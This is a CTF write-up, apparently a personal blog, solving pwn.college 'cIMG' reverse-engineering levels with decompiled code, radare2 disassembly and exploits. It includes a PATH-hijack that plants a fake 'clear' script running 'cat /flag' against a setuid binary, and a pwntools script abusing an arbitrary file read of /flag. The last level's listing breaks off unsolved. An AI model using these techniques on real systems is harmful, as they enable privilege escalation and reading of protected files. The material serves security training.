Hello Navi

Tech, Security & Personal Notes

The extensibility of our cIMG directives list continues to amaze!

HINT: Keep the “Pondering PATH” level of Linux Luminarium in mind. It will be useful.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
cimg.framebuffer = NULL;
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != 'c' || cimg.header.magic_number[1] != 'I' || cimg.header.magic_number[2] != 'M' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 4)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

initialize_framebuffer(&cimg);

while (cimg.header.remaining_directives--)
{
uint16_t directive_code;
read_exact(0, &directive_code, sizeof(directive_code), "ERROR: Failed to read &directive_code!", -1);

switch (directive_code)
{
case 1:
handle_1(&cimg);
break;
case 2:
handle_2(&cimg);
break;
case 3:
handle_3(&cimg);
break;
case 4:
handle_4(&cimg);
break;
case 5:
handle_5(&cimg);
break;
case 6:
handle_6(&cimg);
break;
case 7:
handle_7(&cimg);
break;
default:
fprintf(stderr, "ERROR: invalid directive_code %ux\n", directive_code);
exit(-1);
}
}
display(&cimg, NULL);
}

r2 -A -q -c “pdf @ sym.handle_6; pdf @ sym.handle_7” /challenge/cimg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
            ; CALL XREF from main @ 0x40147d(x)
┌ 119: sym.handle_6 (int64_t arg1, int64_t arg5);
│ `- args(rdi, r8) vars(2:sp[0x10..0x11])
│ 0x00401fbb f30f1efa endbr64
│ 0x00401fbf 55 push rbp
│ 0x00401fc0 4183c8ff or r8d, 0xffffffff ; -1 ; arg5
│ 0x00401fc4 ba01000000 mov edx, 1 ; int64_t arg3
│ 0x00401fc9 4889fd mov rbp, rdi ; arg1
│ 0x00401fcc 488d0d8712.. lea rcx, str.ERROR:_Failed_to_read_clear_ ; 0x40325a ; "ERROR: Failed to read &clear!" ; int64_t arg4
│ 0x00401fd3 31ff xor edi, edi ; int fildes
│ 0x00401fd5 4883ec10 sub rsp, 0x10
│ 0x00401fd9 64488b0425.. mov rax, qword fs:[0x28]
│ 0x00401fe2 4889442408 mov qword [canary], rax
│ 0x00401fe7 31c0 xor eax, eax
│ 0x00401fe9 488d742407 lea rsi, [var_7h] ; void *buf
│ 0x00401fee e8d3f5ffff call sym.read_exact
│ 0x00401ff3 e838f2ffff call sym.imp.geteuid ; uid_t geteuid(void)
│ 0x00401ff8 89c7 mov edi, eax ; int uid
│ 0x00401ffa e8e1f2ffff call sym.imp.setuid ; int setuid(int uid)
│ 0x00401fff 488d3d7212.. lea rdi, str.clear ; 0x403278 ; "clear" ; const char *string
; !!!
│ 0x00402006 e8e5f1ffff call sym.imp.system ; int system(const char *string)
; !!!
│ 0x0040200b 31f6 xor esi, esi
│ 0x0040200d 31c0 xor eax, eax
│ 0x0040200f 4889ef mov rdi, rbp ; int64_t arg1
│ 0x00402012 e843ffffff call sym.display
│ 0x00402017 488b442408 mov rax, qword [canary]
│ 0x0040201c 6448330425.. xor rax, qword fs:[0x28]
│ ┌─< 0x00402025 7405 je 0x40202c
│ │ 0x00402027 e8b4f1ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.handle_6 @ 0x402025(x)
│ └─> 0x0040202c 4883c410 add rsp, 0x10
│ 0x00402030 5d pop rbp
└ 0x00402031 c3 ret
; CALL XREF from main @ 0x401484(x)
┌ 121: sym.handle_7 (int64_t arg5);
│ `- args(r8) vars(4:sp[0x10..0x24])
│ 0x00401ee1 f30f1efa endbr64
│ 0x00401ee5 4883ec28 sub rsp, 0x28
│ 0x00401ee9 4183c8ff or r8d, 0xffffffff ; -1 ; arg5
│ 0x00401eed 31ff xor edi, edi ; int fildes
│ 0x00401eef ba04000000 mov edx, 4 ; size_t nbyte
│ 0x00401ef4 64488b0425.. mov rax, qword fs:[0x28]
│ 0x00401efd 4889442418 mov qword [canary], rax
│ 0x00401f02 31c0 xor eax, eax
│ 0x00401f04 488d742404 lea rsi, [var_4h] ; void *buf
│ 0x00401f09 488d0d0c13.. lea rcx, str.ERROR:_Failed_to_read_milliseconds_ ; 0x40321c ; "ERROR: Failed to read &milliseconds!" ; int64_t arg4
│ 0x00401f10 e8b1f6ffff call sym.read_exact
│ 0x00401f15 8b442404 mov eax, dword [var_4h]
│ 0x00401f19 b9e8030000 mov ecx, 0x3e8 ; 1000
│ 0x00401f1e 31d2 xor edx, edx
│ 0x00401f20 31f6 xor esi, esi ; struct timespec *rem
│ 0x00401f22 488d7c2408 lea rdi, [req] ; const struct timespec *req
│ 0x00401f27 f7f1 div ecx
│ 0x00401f29 89c0 mov eax, eax
│ 0x00401f2b 4889442408 mov qword [req], rax
│ 0x00401f30 69c240420f00 imul eax, edx, 0xf4240
│ 0x00401f36 4889442410 mov qword [var_10h], rax
│ 0x00401f3b e8d0f2ffff call sym.imp.nanosleep ; int nanosleep(const struct timespec *req, struct timespec *rem)
│ 0x00401f40 488b442418 mov rax, qword [canary]
│ 0x00401f45 6448330425.. xor rax, qword fs:[0x28]
│ ┌─< 0x00401f4e 7405 je 0x401f55
│ │ 0x00401f50 e88bf2ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.handle_7 @ 0x401f4e(x)
│ └─> 0x00401f55 4883c428 add rsp, 0x28
└ 0x00401f59 c3 ret

in handle_6

1
2
3
4
0x00401ff3      call sym.imp.geteuid        ; 获取有效用户 ID (通常是拥有 SUID 的 root 或 flag 账户)
0x00401ffa call sym.imp.setuid ; 将实际用户 ID 设为有效用户 ID
0x00401fff lea rdi, str.clear ; 准备字符串 "clear"
0x00402006 call sym.imp.system ; 执行!

handle_6 里为动画清屏功能直接调用了 system("clear") with geteuid() & setuid()

如果需要清屏应该向终端发送 ANSI 转义序列(如 \x1b[2J\x1b[H

& 提示了 “Pondering PATH”,使用路径替换。

& system("clear") 并没有指定 /usr/bin/clear。Linux 就会去环境变量 $PATH 里从左到右依次搜索名为 clear 的可执行文件。

需要一个合法的 Version 4 Header,加上一个触发 handle_6 的指令。

1
2
3
4
5
6
7
8
9
10
11
12
import struct

# Header: "cIMG", version 4, width 1, height 1, 1 directive
payload = struct.pack("<4sHBBI", b"cIMG", 4, 1, 1, 1)

# Directive 6 (handle_6): opcode 6, 占位符参数 0
payload += struct.pack("<HB", 6, 0)

with open("trigger.cimg", "wb") as f:
f.write(payload)

print("[+] Trigger generated: trigger.cimg")

PATH 替换

1
2
3
4
5
6
7
8
9
10
11
12
13
hacker@reverse-engineering~unsafe-animations:~$ mkdir -p /tmp/arch_way
hacker@reverse-engineering~unsafe-animations:~$ echo '#!/bin/sh' > /tmp/arch_way/clear
hacker@reverse-engineering~unsafe-animations:~$ echo 'cat /flag' >> /tmp/arch_way/clear
hacker@reverse-engineering~unsafe-animations:~$ chmod +x /tmp/arch_way/clear
hacker@reverse-engineering~unsafe-animations:~$ export PATH=/tmp/arch_way:$PATH
hacker@reverse-engineering~unsafe-animations:~$ which clear
/tmp/arch_way/clear
hacker@reverse-engineering~unsafe-animations:~$ /challenge/cimg trigger.cimg
^C
hacker@reverse-engineering~unsafe-animations:~$ python tmp.py
[+] Trigger generated: trigger.cimg
hacker@reverse-engineering~unsafe-animations:~$ /challenge/cimg trigger.cimg
pwn.college{**********************************************}

Often times, as feature bloat makes a software project more and more complicated, vulnerabilities slip in due to the interaction of too many moving parts. In the course of reverse engineering the software, reverse engineers will often spot such vulnerabilities.

This is one such scenario. Find and use the vulnerability in /challenge/cimg to get the flag!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
cimg.framebuffer = NULL;
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != 'c' || cimg.header.magic_number[1] != 'I' || cimg.header.magic_number[2] != 'M' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 4)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

initialize_framebuffer(&cimg);

while (cimg.header.remaining_directives--)
{
uint16_t directive_code;
read_exact(0, &directive_code, sizeof(directive_code), "ERROR: Failed to read &directive_code!", -1);

switch (directive_code)
{
case 1:
handle_1(&cimg);
break;
case 2:
handle_2(&cimg);
break;
case 3:
handle_3(&cimg);
break;
case 4:
handle_4(&cimg);
break;
case 5:
handle_5(&cimg);
break;
default:
fprintf(stderr, "ERROR: invalid directive_code %ux\n", directive_code);
exit(-1);
}
}
display(&cimg, NULL);
}

r2 -A -q -c “pdf @ sym.handle_5” /challenge/cimg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
┌ 363: sym.handle_5 (int64_t arg1, int64_t arg5);
│ `- args(rdi, r8) vars(5:sp[0x30..0x133])
│ 0x00401a3e f30f1efa endbr64
│ 0x00401a42 4155 push r13
│ 0x00401a44 b903010000 mov ecx, 0x103 ; 259
│ 0x00401a49 4183c8ff or r8d, 0xffffffff ; -1 ; arg5
│ 0x00401a4d ba02010000 mov edx, 0x102 ; 258 ; size_t nbyte
│ 0x00401a52 4154 push r12
│ 0x00401a54 4989fc mov r12, rdi ; arg1
│ 0x00401a57 55 push rbp
│ 0x00401a58 53 push rbx
│ 0x00401a59 4881ec1801.. sub rsp, 0x118
│ 0x00401a60 64488b0425.. mov rax, qword fs:[0x28]
│ 0x00401a69 4889842408.. mov qword [canary], rax
│ 0x00401a71 31c0 xor eax, eax
│ 0x00401a73 488d7c2405 lea rdi, [var_5h]
│ 0x00401a78 488d742405 lea rsi, [var_5h] ; void *buf
│ 0x00401a7d f3aa rep stosb byte [rdi], al
│ 0x00401a7f 31ff xor edi, edi ; int fildes
│ 0x00401a81 488d0db906.. lea rcx, str.ERROR:_Failed_to_read_sprite_load_record_ ; 0x402141 ; "ERROR: Failed to read &sprite_load_record!" ; int64_t arg4
│ 0x00401a88 e889faffff call sym.read_exact
│ 0x00401a8d 668b542406 mov dx, word [var_6h]
│ 0x00401a92 0fb6442405 movzx eax, byte [var_5h]
│ 0x00401a97 31f6 xor esi, esi ; int oflag
│ 0x00401a99 488d7c2408 lea rdi, [path] ; const char *path
│ 0x00401a9e 86f2 xchg dl, dh
│ 0x00401aa0 48c1e004 shl rax, 4
│ 0x00401aa4 664189540418 mov word [r12 + rax + 0x18], dx
│ 0x00401aaa 31c0 xor eax, eax
│ 0x00401aac e86ff7ffff call sym.imp.open ; int open(const char *path, int oflag)
│ 0x00401ab1 85c0 test eax, eax
│ ┌─< 0x00401ab3 7915 jns 0x401aca
│ │ 0x00401ab5 488b35e472.. mov rsi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│ │ ; [0x408da0:8]=0 ; FILE *stream
│ │ 0x00401abc 488d3da906.. lea rdi, str.ERROR:_failed_to_open_sprite_file_n ; 0x40216c ; "ERROR: failed to open sprite file\n" ; const char *s
│ │ 0x00401ac3 e8d8f6ffff call sym.imp.fputs ; int fputs(const char *s, FILE *stream)
│ ┌──< 0x00401ac8 eb45 jmp 0x401b0f
│ ││ ; CODE XREF from sym.handle_5 @ 0x401ab3(x)
│ │└─> 0x00401aca 89c5 mov ebp, eax
│ │ 0x00401acc 0fb6442405 movzx eax, byte [var_5h]
│ │ 0x00401ad1 48c1e004 shl rax, 4
│ │ 0x00401ad5 4a8b7c2020 mov rdi, qword [rax + r12 + 0x20]
│ │ 0x00401ada 4885ff test rdi, rdi
│ │┌─< 0x00401add 7405 je 0x401ae4
│ ││ 0x00401adf e86cf6ffff call sym.imp.free ; void free(void *ptr)
│ ││ ; CODE XREF from sym.handle_5 @ 0x401add(x)
│ │└─> 0x00401ae4 440fb66c2406 movzx r13d, byte [var_6h]
│ │ 0x00401aea 0fb6542407 movzx edx, byte [var_7h]
│ │ 0x00401aef 440fafea imul r13d, edx
│ │ 0x00401af3 4963fd movsxd rdi, r13d ; size_t size
│ │ 0x00401af6 e8f5f6ffff call sym.imp.malloc ; void *malloc(size_t size)
│ │ 0x00401afb 4889c3 mov rbx, rax
│ │ 0x00401afe 4885c0 test rax, rax
│ │┌─< 0x00401b01 7514 jne 0x401b17
│ ││ 0x00401b03 488d3dfa04.. lea rdi, str.ERROR:_Failed_to_allocate_memory_for_the_image_data_ ; 0x402004 ; "ERROR: Failed to allocate memory for the image data!" ; const char *s
│ ││ 0x00401b0a e851f6ffff call sym.imp.puts ; int puts(const char *s)
│ ││ ; CODE XREFS from sym.handle_5 @ 0x401ac8(x), 0x401b6c(x)
│ ┌└──> 0x00401b0f 83cfff or edi, 0xffffffff ; -1
│ ╎ │ 0x00401b12 e819f7ffff call sym.imp.exit ; void exit(int status)
│ ╎ │ ; CODE XREF from sym.handle_5 @ 0x401b01(x)
│ ╎ └─> 0x00401b17 4489ea mov edx, r13d ; size_t nbyte
│ ╎ 0x00401b1a 4889c6 mov rsi, rax ; void *buf
│ ╎ 0x00401b1d 4183c8ff or r8d, 0xffffffff ; -1
│ ╎ 0x00401b21 89ef mov edi, ebp ; int fildes
│ ╎ 0x00401b23 488d0d0f05.. lea rcx, str.ERROR:_Failed_to_read_data_ ; 0x402039 ; "ERROR: Failed to read data!" ; int64_t arg4
│ ╎ 0x00401b2a e8e7f9ffff call sym.read_exact
│ ╎ 0x00401b2f 0fb6442407 movzx eax, byte [var_7h]
│ ╎ 0x00401b34 0fb6542406 movzx edx, byte [var_6h]
│ ╎ 0x00401b39 0fafd0 imul edx, eax
│ ╎ 0x00401b3c 31c0 xor eax, eax
│ ╎ ; CODE XREF from sym.handle_5 @ 0x401b50(x)
│ ╎ ┌─> 0x00401b3e 39c2 cmp edx, eax
│ ╎┌──< 0x00401b40 7e2c jle 0x401b6e
│ ╎│╎ 0x00401b42 0fb60c03 movzx ecx, byte [rbx + rax]
│ ╎│╎ 0x00401b46 48ffc0 inc rax
│ ╎│╎ 0x00401b49 8d71e0 lea esi, [rcx - 0x20]
│ ╎│╎ 0x00401b4c 4080fe5e cmp sil, 0x5e ; '^' ; 94
│ ╎│└─< 0x00401b50 76ec jbe 0x401b3e
│ ╎│ 0x00401b52 488b3d4772.. mov rdi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│ ╎│ ; [0x408da0:8]=0
│ ╎│ 0x00401b59 488d15f504.. lea rdx, str.ERROR:_Invalid_character_0x_x_in_the_image_data__n ; str.ERROR:_Invalid_character_0x_x_in_the_image_data__n
│ ╎│ ; 0x402055 ; "ERROR: Invalid character 0x%x in the image data!\n"
│ ╎│ 0x00401b60 be01000000 mov esi, 1
│ ╎│ 0x00401b65 31c0 xor eax, eax
│ ╎│ 0x00401b67 e8d4f6ffff call sym.imp.__fprintf_chk
│ └───< 0x00401b6c eba1 jmp 0x401b0f
│ │ ; CODE XREF from sym.handle_5 @ 0x401b40(x)
│ └──> 0x00401b6e 0fb6442405 movzx eax, byte [var_5h]
│ 0x00401b73 89ef mov edi, ebp ; int fildes
│ 0x00401b75 48c1e004 shl rax, 4
│ 0x00401b79 4a895c2020 mov qword [rax + r12 + 0x20], rbx
│ 0x00401b7e e82df6ffff call sym.imp.close ; int close(int fildes)
│ 0x00401b83 488b842408.. mov rax, qword [canary]
│ 0x00401b8b 6448330425.. xor rax, qword fs:[0x28]
│ ┌─< 0x00401b94 7405 je 0x401b9b
│ │ 0x00401b96 e8e5f5ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.handle_5 @ 0x401b94(x)
│ └─> 0x00401b9b 4881c41801.. add rsp, 0x118
│ 0x00401ba2 5b pop rbx
│ 0x00401ba3 5d pop rbp
│ 0x00401ba4 415c pop r12
│ 0x00401ba6 415d pop r13
└ 0x00401ba8 c3 ret

任意文件读取漏洞 (Arbitrary File Read / Local File Inclusion) in handle_5

1
2
0x00401a4d  mov edx, 0x102       ; 准备读取 258 字节
0x00401a88 call sym.read_exact ; 从标准输入读取 Payload

它读取了 258 个字节的 sprite_load_record。通过偏移量分析,它的结构是:

  • ID (1 byte)
  • Width (1 byte)
  • Height (1 byte)
  • Path (255 bytes) 直接把字符串传给了底层的 open(path, 0)
1
2
0x00401b4c  cmp sil, 0x5e        ; 校验字符是否在 0x20 ~ 0x7E 之间
0x00401b50 jbe 0x401b3e ; 如果是,继续循环;否则报错退出

标准读取时,如果读到了换行符 (\n,十六进制 0x0A),程序会抛出 ERROR: Invalid character 并退出。而 /flag 文件的末尾有一个换行符

既然我们知道 read_exact 只有在读到指定长度 (Width * Height) 时才会返回,我们只需要让 Width 等于 Flag 字符串的长度(不包含换行符)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import re
import struct
from pwn import *

def exploit():
binary_path = "/challenge/cimg"

flag_len = 59 # known flag length
payload = bytearray()

# 1. Header: Version 4, 画布大小 100x1, 2 个指令
payload += struct.pack("<4sHBBI", b"cIMG", 4, 100, 1, 2)

# 2. Directive 1 -> handle_5: 任意文件加载
payload += struct.pack("<H", 5) # Opcode 5
payload += struct.pack("<BBB", 1, flag_len, 1) # ID=1, Width=flag_len, Height=1
path = b"/flag".ljust(255, b"\x00") # 恶意路径,Null截断
payload += path

# 3. Directive 2 -> handle_4: 渲染到屏幕
# 参数: Opcode(4), ID(1), R(255), G(255), B(255), X(0), Y(0), RepeatX(1), RepeatY(1), Trans(0)
payload += struct.pack("<HBBBBBBBBB", 4, 1, 255, 255, 255, 0, 0, 1, 1, 0)

file_name = "exploit_payload.cimg"
with open(file_name, "wb") as f:
f.write(payload)

try:
# 执行二进制
p = process([binary_path, file_name])
out = p.recvall(timeout=1).decode(errors="ignore")

if "ERROR" not in out:
# 用正则剥离 ANSI 颜色
clean_text = re.sub(r"\x1b\[.*?m", "", out)

if "pwn.college" in clean_text:
print(f"\n[+] Success Flag length: {flag_len}")
print(f"[*] Raw Flag: {clean_text.strip()}")
return
except Exception:
pass

print("[-] Exploit failed.")

if __name__ == "__main__":
exploit()

This level explores trade-offs between adding just a bit of complexity to a software feature (in this case, the cIMG sprite functionality) and its resulting functionality improvement (making the cIMG file smaller!). We might be getting close to optimal cIMG sizes here, and /challenge/cimg will be very demanding!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
cimg.framebuffer = NULL;
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != 'c' || cimg.header.magic_number[1] != 'I' || cimg.header.magic_number[2] != 'M' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 4)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

initialize_framebuffer(&cimg);

while (cimg.header.remaining_directives--)
{
uint16_t directive_code;
read_exact(0, &directive_code, sizeof(directive_code), "ERROR: Failed to read &directive_code!", -1);

switch (directive_code)
{
case 1:
handle_1(&cimg);
break;
case 2:
handle_2(&cimg);
break;
case 3:
handle_3(&cimg);
break;
case 4:
handle_4(&cimg);
break;
default:
fprintf(stderr, "ERROR: invalid directive_code %ux\n", directive_code);
exit(-1);
}
}
display(&cimg, NULL);

if (cimg.num_pixels != sizeof(desired_output)/sizeof(term_pixel_t))
{
won = 0;
}
for (int i = 0; i < cimg.num_pixels && i < sizeof(desired_output)/sizeof(term_pixel_t); i++)
{
if (cimg.framebuffer[i].str.c != ((term_pixel_t*)&desired_output)[i].str.c)
{
won = 0;
}
if (
cimg.framebuffer[i].str.c != ' ' &&
cimg.framebuffer[i].str.c != '\n' &&
memcmp(cimg.framebuffer[i].data, ((term_pixel_t*)&desired_output)[i].data, sizeof(term_pixel_t))
)
{
won = 0;
}
}

if (total_data > 285) won = 0;

if (won) win();

r2 -A -q -c “pdf @ sym.handle_3; pdf @ sym.handle_4” /challenge/cimg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
            ; CALL XREF from main @ 0x40143e(x)
┌ 337: sym.handle_3 (int64_t arg1, int64_t arg5, int64_t arg6);
│ `- args(rdi, r8, r9) vars(4:sp[0x20..0x23])
# pass
; CALL XREF from main @ 0x40142a(x)
┌ 603: sym.handle_4 (int64_t arg1, int64_t arg5, int64_t arg6);
│ `- args(rdi, r8, r9) vars(16:sp[0x1056..0x1078])
│ 0x00401c32 f30f1efa endbr64
│ 0x00401c36 4157 push r15
│ 0x00401c38 4156 push r14
│ 0x00401c3a 4155 push r13
│ 0x00401c3c 4154 push r12
│ 0x00401c3e 55 push rbp
│ 0x00401c3f 53 push rbx
│ 0x00401c40 4c8d9c2400.. lea r11, [rsp - 0x40000]
│ ; CODE XREF from sym.handle_4 @ 0x401c56(x)
│ ┌─> 0x00401c48 4881ec0010.. sub rsp, 0x1000
│ ╎ 0x00401c4f 830c2400 or dword [rsp], 0
│ ╎ 0x00401c53 4c39dc cmp rsp, r11
│ └─< 0x00401c56 75f0 jne 0x401c48
│ 0x00401c58 4883ec48 sub rsp, 0x48
│ 0x00401c5c 488d0dad15.. lea rcx, str.ERROR:_Failed_to_read_sprite_render_record_ ; 0x403210 ; "ERROR: Failed to read &sprite_render_record!" ; int64_t arg4
│ 0x00401c63 ba09000000 mov edx, 9 ; size_t nbyte
│ 0x00401c68 4183c8ff or r8d, 0xffffffff ; -1 ; arg5
│ 0x00401c6c 64488b0425.. mov rax, qword fs:[0x28]
│ 0x00401c75 4889842438.. mov qword [rsp + 0x40038], rax ; [0x40038:8]=-1
│ 0x00401c7d 31c0 xor eax, eax
│ 0x00401c7f 4889fb mov rbx, rdi ; arg1
│ 0x00401c82 488d742416 lea rsi, [var_16h] ; void *buf
│ 0x00401c87 31ff xor edi, edi ; int fildes
│ 0x00401c89 e86dfaffff call sym.read_exact
│ 0x00401c8e 488d7c241f lea rdi, [var_1fh]
│ 0x00401c93 b900000100 mov ecx, 0x10000
│ 0x00401c98 31c0 xor eax, eax
│ 0x00401c9a 0fb6542416 movzx edx, byte [var_16h]
│ 0x00401c9f 448a542417 mov r10b, byte [var_17h]
│ 0x00401ca4 488d74241f lea rsi, [var_1fh]
│ 0x00401ca9 f3ab rep stosd dword [rdi], eax
│ 0x00401cab 448a5c2418 mov r11b, byte [var_18h]
│ 0x00401cb0 408a6c2419 mov bpl, byte [var_19h]
│ 0x00401cb5 48c1e204 shl rdx, 4
│ 0x00401cb9 4801da add rdx, rbx
│ 0x00401cbc 440fb66218 movzx r12d, byte [rdx + 0x18]
│ ; CODE XREF from sym.handle_4 @ 0x401d1c(x)
│ ┌─> 0x00401cc1 4139cc cmp r12d, ecx
│ ┌──< 0x00401cc4 7e58 jle 0x401d1e
│ │╎ 0x00401cc6 440fb64219 movzx r8d, byte [rdx + 0x19]
│ │╎ 0x00401ccb 31ff xor edi, edi
│ │╎ 0x00401ccd 4489c0 mov eax, r8d
│ │╎ 0x00401cd0 0fafc1 imul eax, ecx
│ │╎ ; CODE XREF from sym.handle_4 @ 0x401d18(x)
│ ┌───> 0x00401cd3 4139f8 cmp r8d, edi
│ ┌────< 0x00401cd6 7e42 jle 0x401d1a
│ │╎│╎ 0x00401cd8 4c8b4a20 mov r9, qword [rdx + 0x20]
│ │╎│╎ 0x00401cdc 44881486 mov byte [rsi + rax*4], r10b
│ │╎│╎ 0x00401ce0 44885c8601 mov byte [rsi + rax*4 + 1], r11b
│ │╎│╎ 0x00401ce5 40886c8602 mov byte [rsi + rax*4 + 2], bpl
│ │╎│╎ 0x00401cea 4d85c9 test r9, r9
│ ┌─────< 0x00401ced 751b jne 0x401d0a
│ ││╎│╎ 0x00401cef 488b356ade.. mov rsi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│ ││╎│╎ ; [0x40fb60:8]=0 ; FILE *stream
│ ││╎│╎ 0x00401cf6 488d3d4015.. lea rdi, str.ERROR:_attempted_to_render_uninitialized_sprite__n ; 0x40323d ; "ERROR: attempted to render uninitialized sprite!\n" ; const char *s
│ ││╎│╎ 0x00401cfd e8def4ffff call sym.imp.fputs ; int fputs(const char *s, FILE *stream)
│ ││╎│╎ 0x00401d02 83cfff or edi, 0xffffffff ; -1
│ ││╎│╎ 0x00401d05 e876f5ffff call sym.imp.exit ; void exit(int status)
│ ││╎│╎ ; CODE XREF from sym.handle_4 @ 0x401ced(x)
│ └─────> 0x00401d0a 458a0c01 mov r9b, byte [r9 + rax]
│ │╎│╎ 0x00401d0e ffc7 inc edi
│ │╎│╎ 0x00401d10 44884c8603 mov byte [rsi + rax*4 + 3], r9b
│ │╎│╎ 0x00401d15 48ffc0 inc rax
│ │└───< 0x00401d18 ebb9 jmp 0x401cd3
│ │ │╎ ; CODE XREF from sym.handle_4 @ 0x401cd6(x)
│ └────> 0x00401d1a ffc1 inc ecx
│ │└─< 0x00401d1c eba3 jmp 0x401cc1
│ │ ; CODE XREF from sym.handle_4 @ 0x401cc4(x)
│ └──> 0x00401d1e 4531ff xor r15d, r15d
│ 0x00401d21 488dbc241f.. lea rdi, [rsp + 0x4001f]
│ ; CODE XREF from sym.handle_4 @ 0x401e5e(x)
│ ┌─> 0x00401d29 0fb644241d movzx eax, byte [var_1dh]
│ ╎ 0x00401d2e 4439f8 cmp eax, r15d
│ ┌──< 0x00401d31 0f8e2c010000 jle 0x401e63
│ │╎ 0x00401d37 4531d2 xor r10d, r10d
│ │╎ ; CODE XREF from sym.handle_4 @ 0x401e56(x)
│ ┌───> 0x00401d3a 0fb644241c movzx eax, byte [var_1ch]
│ ╎│╎ 0x00401d3f 4439d0 cmp eax, r10d
│ ┌────< 0x00401d42 0f8e13010000 jle 0x401e5b
│ │╎│╎ 0x00401d48 0fb6542416 movzx edx, byte [var_16h]
│ │╎│╎ 0x00401d4d 4531db xor r11d, r11d
│ │╎│╎ 0x00401d50 48c1e204 shl rdx, 4
│ │╎│╎ 0x00401d54 4801da add rdx, rbx
│ │╎│╎ 0x00401d57 8a4219 mov al, byte [rdx + 0x19]
│ │╎│╎ 0x00401d5a 410fafc2 imul eax, r10d
│ │╎│╎ 0x00401d5e 0244241a add al, byte [var_1ah]
│ │╎│╎ 0x00401d62 440fb6e0 movzx r12d, al
│ │╎│╎ 0x00401d66 8a4218 mov al, byte [rdx + 0x18]
│ │╎│╎ 0x00401d69 410fafc7 imul eax, r15d
│ │╎│╎ 0x00401d6d 0244241b add al, byte [var_1bh]
│ │╎│╎ 0x00401d71 0fb6e8 movzx ebp, al
│ │╎│╎ ; CODE XREF from sym.handle_4 @ 0x401e4e(x)
│ ┌─────> 0x00401d74 0fb6442416 movzx eax, byte [var_16h]
│ ╎│╎│╎ 0x00401d79 48c1e004 shl rax, 4
│ ╎│╎│╎ 0x00401d7d 0fb6441818 movzx eax, byte [rax + rbx + 0x18]
│ ╎│╎│╎ 0x00401d82 4439d8 cmp eax, r11d
│ ┌──────< 0x00401d85 0f8ec8000000 jle 0x401e53
│ │╎│╎│╎ 0x00401d8b 4531ed xor r13d, r13d
│ │╎│╎│╎ ; CODE XREF from sym.handle_4 @ 0x401e44(x)
